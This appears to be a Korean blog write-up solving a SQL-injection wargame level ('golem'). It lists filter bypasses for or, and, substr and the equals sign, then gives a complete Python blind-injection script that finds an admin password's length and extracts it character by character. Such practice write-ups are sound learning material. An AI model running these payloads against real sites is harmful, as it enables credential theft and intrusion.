일단 문제를 계속 풀다보니 addslashes 가 있으니, 자동화코드를 이용하여 admin에 맞는 pw를 blind injection을 이용해서 찾아야 한다.

대신 주어진 필터링

1) pw에 . _  등 필터링

2) or and substr 필터링

3) 핵심 = 필터링

나머지는 우회해봤지만 핵심인 (=)에 대해서 우회 기법을 찾아야 한다.

or ||,  %7c%7c
and &&, %26%26
substr substring, left, right, mid, lpad, rpad
= like, 부등호 이용

내가 찾은 우회 기법이다. 

payload는

1) 비밀번호 길이 찾기

pw=' ' || id = admin && length(pw)=?# '  (기본 payload)

pw=' ' || id like 'admin' && length(pw) like ? # ' (필터링 우회 적용한 payload)

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' || id like 'admin' && length(pw) like {} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

실행화면

2) blind injection으로 pw 문자열 모두 찾기

pw=' ' || id = admin && ascii(substr(pw,?,1))= ? # '  (기본 payload)

pw=' ' || id like admin && ascii(substring(pw,?,1)) like ? # ' (필터링 우회 적용한 payload)

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            value = " ' || id like 'admin' && ascii(substring(pw,{},1)) like {} #".format(i,j)           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

전체코드

# LOS
# STEP 11 golem

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' || id like 'admin' && length(pw) like {} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num



#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            #value = " ' || id = 'admin' && ord(substr(pw,{},1))={} #".format(i,j)          #attack fail
            value = " ' || id like 'admin' && ascii(substring(pw,{},1)) like {} #".format(i,j)           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main

pw_real(pw_len())

실행화면

 

 

 

solve!!!!!!!!!!!!!!

+ Recent posts